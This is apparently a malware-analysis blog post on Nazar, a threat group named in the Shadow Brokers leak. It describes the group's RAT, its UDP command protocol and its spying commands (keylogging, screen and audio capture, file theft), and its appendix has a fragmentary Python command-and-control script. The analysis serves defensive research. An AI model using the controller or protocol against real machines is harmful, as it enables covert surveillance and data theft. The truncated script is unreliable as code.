6:22 AM 11/7/2012 conficker still on target 6:18 AM 11/7/2012 checking logs - we are clean 8:16 PM 7/2/2012 - BOOM!, got the callback
Those were some of the words that the Equation Group (NSA) operators left in the records documenting their attacks against target systems, and which were later leaked by the Shadow Brokers. The plethora of information exposed in the fifth and last leak by the Shadow Brokers, called “Lost in Translation”, and the following consequences that took shape in WannaCry and NotPetya among other things, makes this a changing point in the game of cyber security as we know it.
Recently, security researcher Juan Andres Guerrero-Saade revealed a previously misidentified and unknown threat group, called Nazar, which was part of the last leak by the Shadow Brokers. In this research, we will expand upon the analysis done by Juan and another which was written by Maciej Kotowicz, and will provide an in-depth analysis of each of the Nazar components. But the real question is, do those new revelations add a missing piece to the puzzle, or do they show us how much of the puzzle we are missing?
While the “Lost in Translation” leak by the Shadow Brokers brought infamous exploits such as EternalBlue into the limelight, it contained many more valuable components that showed some of the possible precautions taken by the Equation Group operators before launching an attack.
For example, among the leaked files was one called “drv_list.txt“, which included a list of driver names and corresponding remarks that were sent back to the operators if the drivers were found on the target system. Naturally, the list contained many drivers that could detect the presence of an anti-virus product or a security solution (ourselves included):
But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.
Similar to a scan conducted by a security product, “TeDi” consists of 45 signatures that are used to search the target system for registry keys or filenames associated with other threat groups. But we can assume that the end purpose in this case, unlike that of a security scan, is to make sure that Equation Group’s operations are not disrupted and that their own tools are not detected by other adversaries (or “other peeps”, as they are called in “TeDi”) monitoring the same system.
In certain cases, this also guarantees that the Equation Group themselves do not disrupt the ongoing operations of “friendly” threat groups, and do not attack the same target.
Extensive research work has been done by CrySys Labs in 2018 to try and map each of the 45 signatures to the respective threat group it is meant to detect since no names were included in “TeDi” itself.
Despite the relatively scarce amount of information it contains, security researchers often revisit “TeDi” in an attempt to get a better understanding of threat groups that the Equation Group had visibility to back then, as some of which are still (to this day) unknown to the public.
Security researcher Juan Andres Guerrero-Saade has shown that the 37th signature in “TeDi” which looks for a file called “Godown.dll” points to what might be an Iranian threat group he dubbed “Nazar”, rather than a Chinese one as initially thought in the CrySys Lab report.
The beauty of the “TeDi” project is perhaps in its minimalism: the small number of signatures it contained gave the Equation Group the capability of detecting the activity of notorious threat groups that have eluded detection and managed to remain in the shadows for years: Turla, Duqu, Dark Hotel, and the list goes on. This is the result of what we can only estimate as years of intelligence and research work on the Equation Group’s part. Equipped with this knowledge we set out to find more about the mysterious newly discovered player included in this watchlist: Nazar.
Nazar’s activity is believed to have started somewhere around 2008, meaning that the group was active for at least four years, as the latest samples were created in 2012.
The CrySys Labs report pointed to a file possibly related to the 37th signature, which turned out to be an anti-virus signature database from 2015 that detected this unique Nazar artifact, “Godown.dll”. Surprisingly, the same signature contained names of the other artifacts that we have seen being used by the Nazar malware (and will explain in detail in the following sections), meaning that some security companies were already fully aware of this malicious activity back then, prior to the “TeDi” leak:
The initial binary that is executed in Nazar’s flow is gpUpdates.exe. It is a Self-Extracting Archive (SFX) created by a program called “Zip 2 Secure EXE“. Upon execution, gpUpdates writes three files to disk: Data.bin, info, and Distribute.exe. Then, gpUpdates.exe will start Distribute.exe which operates as an installing component.
At the start, Distribute.exe will read the other two files that were dropped by gpUpdates: info and Data.bin. The Data.bin file is a binary blob that contains multiple PE files that are concatenated in a sequence. The info file is a very small file that contains a simple struct with the lengths of the PE files in Data.bin. Distribute.exe will read Data.bin as a stream, file by file, in the order of file lengths as shown in info.
The following table shows the files concatenated in Data.bin against the lengths written in info.
Data.bin (sequence of files)
After the aforementioned files are dropped to the disk, Distribute.exe will register 3 of the DLL files to the registry, by using regsvr32.
Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.
svchost.exe / EYService
This service is the main component in the attack, and it orchestrates the entire modules dropped and loaded by Nazar. In a sense, the EYService is only a marionette controlled by a puppeteer that sends commands to it. The communication protocol will be thoroughly explained in later parts of this blog post. As commonly seen in RAT-like components, this service mainly contains a list of supported commands, and each of these commands is assigned with a function to handle it upon a request from the attacker. The full list of commands is listed below.
As other components in Nazar, this module also does not demonstrate novel techniques or high-quality of written code. In fact, this module, like the others, is mostly based on open-source libraries that were commonly available at the time. To manage traffic and sniff packets, Nazar uses Microolap‘s Packet Sniffer SDK. To record the victim’s microphone it uses “Lame” Mp3 encoding library. For keylogging it uses KeyDLL3. BMGLib is used to take screenshots, and even for shutting down the computer, it uses an open-source project – The ShutDown Alarm.
When analyzing the networking component, the main thing we looked for was the IP of the command and control, since this could open up new paths, and perhaps recent attacks and samples. Alas, leaving no stone unturned, we could not find such an IP, and it made sense due to how Nazar is communicating.
Upon execution of the service, it begins with setting up the packet sniffing. This is done by using the Packet Sniffer SDK, in pretty much a textbook way. The main thread gets an outward-facing network adapter and uses BPF to make sure only UDP packets are forwarded to the handler.
Whenever a UDP packet arrives, its source IP is recorded to be used in the next response, whether or not there will be a response. Then, the packet’s destination port will be checked, and in case it is 1234 the UDP data will be forwarded to the command dispatcher.
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
int length; // edi
length = HIBYTE(udp_packet->length) - 8;
if ( ntohs(udp_packet->dst_port) != 1234 )
commandDispatcher(&udp_packet, src_ip, ip_id, length);
Types of responses
Each response will have its packet built from scratch, so it could be sent using PSSDK’s send methods : AdpAsyncSend/AdpSyncSend
There are 3 types of responses:
Send an ACK: With destination port 4000 and payload 101;0000
Send computer information: With destination port 4000 and payload 100;<Computer Name>;<OS name>
Send a file: The content will be sent as UDP data, followed by another packet with ---<size_of_file> The UDP destination port will be the little-endian value of the IP identification field in the request message. For example, If the server sent a packet (to destination port 1234) with identification 0x3456 ,the malware will send its response with destination port 0x5634
To make the options clearer, and to demonstrate how Nazar communicates, we have created a python script that can “play” the server controlled by the attacker, and communicate with the victim. The script is available in Appendix C.
As we mentioned earlier, svchost.exe, or the service named EYService, contains a list of supported commands. We analyzed two versions of the RAT and found slight differences. The entire list of supported commands, in addition to our analysis notes, are presented in the table below.
Enable keylogger by loading the ‘hodll.dll’ library to memory and manually importing the ‘installhook’ function. The keystrokes are saved with the window name to ‘report.txt’. The written content is then sent to the server. The keylogger is based on common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph). Command 312 will disable the keylogger.
Shutdown the machine. The command is interacting with the Godown.dll component by spawning it based on its RCLSID and RIID. The Godown module was probably based on an open-source implementation called The ShutDown Alarm.
Start screen capturing. The function calls the benign ViewScreen.dll and instructs it to save screenshots in a PNG file named z.png. The file is then sent to the server. The module is based on a known open-source project named “BMGLib“, written by M. Scott Heiman. Command 313 will disable the screen capturing.
Responsible for recording audio using the victim’s Microphone. The recording is saved to music.mp3 and sent to the server. The implementation is based on an open-source project which uses a known open source library called “LAME MP3“. Command 315 will disable the voice recording.
List all drives in the PC (C:\, D:\, …) and save it to Drives.txt. The file is then sent to the server. This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine.
List all the files and folders in the system and saves it to Files.txt. The files and folder are separated with ;File; or ;Folder;. This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine.
Sends file content to the server.
Remove a file from the machine.
List program by enumerating the keys found in the following registry path: Software\Microsoft\Windows\CurrentVersion\Uninstall. The program names are then saved to a file called Programs.txt and sent to the server.
List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server. The devices are separated with either ‘;Root;’ or ‘;Child;’.
Sends 101;0000 back to the server in port 4000.
Sends Computer information: 100;Computer Name; OS Name back to the server in port 4000.
Disable voice recording.
Disable screen capturing.
Pretty much NOP. Will set a flag that is also set by 119 and 189 and will be unset when sending a file. However, it is never checked.
Registers Godown.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe
Registers ViewScreen.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe
Registers Filesystem.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe
Godown.dll is the DLL which is in the spotlight of SIG37, and the one that started this manhunt after the unknown malware. Before it was caught by law-abiding security analysts, one could imagine Godown.dll to be the mastermind behind this whole operation, the component to control them all, some hidden gem, or an unseen rose. In reality, Godown.dll is a tiny DLL with one and only goal – to shut down the computer. Believe us, we tried hard to find any hidden or mysterious functionality inside the binary, but nothing was there, except a shutdown command. The reasons to take 5 lines of C code and place them in a DLL, put it in Data.bin, drop it to the disk, register it as a COM DLL using regsvr32 and then call it indirectly using GUID – are beyond our understanding. But well, it was good enough of a lead to revealing Nazar, and for that, we should be thankful.
Out of all the modules used in this attack, Filesystem.dll might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt and Files.txt.
We were able to get our hands on two versions of this module that were created a year apart, both of which included PDB paths that mentioned a folder with the Persian name Khzer (or خضر):
Upon closer inspection, there are some differences between the two paths: One starts with the C:\\ partition while the other starts with D:\\, one uses Khzer (uppercase) while the other uses khzer (lowercase), and so on. This might indicate that the two versions of the module were not compiled in the same environment, and is further strengthened by some of the included headers’ paths, which show that Visual Studio was installed in two different locations:
But these are not the only differences between the two versions: while the Filesystem.dll module was dropped by all the known variants of gpUpdates.exe, it was not always used in the same manner.
For example, versions of svchost.exe dating back to 2010 have three commands that have since been omitted: “211”, “212”, and “213”. Those commands allow svchost.exe to register the dropped DLL modules using regsvr32, a functionality that was later migrated to Distribute.exe (as described in the Execution Flow section above).
Then, when a command is received by the C2 to collect the files and drives on the system, the Filesystem.dll module is called after it was registered:
On the other hand, a more recent version of svchost.exe that was created in 2012 replicates the file and drive lookup functionalities found in Filesystem.dll when receiving the “199” and “200” commands from the C2, and performs the search itself. Therefore, even though it is still dropped in this case, it appears that the Filesystem.dll module is not used in the newer versions of Nazar:
The hodll.dll module is responsible for recording the user’s keystrokes. It is done, as most keyloggers do, by setting a Windows hook for keyboard inputs. While there are many implementations of keyloggers available, we believe that this implementation is based on one or more open-source projects. Specifically, we believe that the code was taken from common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph) or by a fork of these projects, as many are available. In fact, the samples of hodll.dll we put our hands on, looked like they were built from different layers of open source projects. In a way, it looked like someone copied code from the internet, and then deleted it partially, and took other code, and deleted it as well, and so on. The final result contained evolutionary pieces from multiple layers of code.
This DLL is based on a known open-source project named “BMGLib” and it is used to take screenshots of the victim’s computer. No major changes, if any, were added to the original source, and this is yet another example of how the Nazar malware uses an entire library just for a small task.
In this article, we tried to gather all the information we learned about Nazar since its recent exposure. We dived deep into each and every one of the components and tried to solve as many mysteries as possible. The leaked information by the Shadow Brokers taught us that the NSA knew about Nazar for many years, and thanks to other researchers, the community was able to strikethrough another unknown malware family from the list of signatures in “TeDi”.
Many of the signatures in “TeDi” described advanced and novel malware families, but this does not appear to be the case with Nazar. As we have shown in the article, the quality of the code, as well as the heavy usage of open source libraries, does not match the profile of a shrewd threat actor. And although we tried to cover everything, there are still many unanswered questions surrounding those discoveries: What happened to the Nazar group, did they evolve into other groups that are nowadays known under different names? Are they still active? Are there more samples out there? With those questions and others on our minds, we cannot help but leave this open-ended.
Appendix A: Yara Rules
In his blog post, Juan published Yara rules to ease detection. The rules are well written and cover the different components. We want to share some rules we created during our analysis, to add to the existing rules.
from scapy.all import *
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H',4000))
def get_response(sock, should_loop):
started = False
total_payload = b''
while(should_loop or not started):
payload, client_address = sock.recvfrom(4096)
payload, client_address = sock.recvfrom(4096)
total_payload += payload
# Good enough stop condition
if (len(payload) >= 4
and payload[:3] == b'---'
and payload >= ord('0')
and payload <= ord('9')):
should_loop = False
started = True
MENU = """Welcome to NAZAR. Please choose:
999 - Get a ping from the victim.
555 - Get information on the victim's machine.
311 - Start keylogging (312 to disable).
139 - Shutdown victim's machine.
189 - Screenshot (313 to disable).
119 - Record audio from Microphone (315 to disable).
199 - List drives.
200 - List recursivley from directory*.
201 - Send a file*.
209 - Remove file*.
599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
curr_message = input('> ').strip()
if 'quit' in curr_message:
if 'help' in curr_message:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = '0.0.0.0'
server = (server_address, SERVER_PORT)
sock = get_sock()
multi_packets = ["200","201", "119", "189", "311", "199", "599"]
single_packets = ["999", "555"]
all_commands = single_packets + multi_packets
curr_message = get_message()
if not curr_message:
# Send message using scapy
# Make sure the IP identification field is little endian of the port.
command = curr_message[:3]
if command not in all_commands:
should_loop = command in multi_packets
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="victim's IP")
args = parser.parse_args()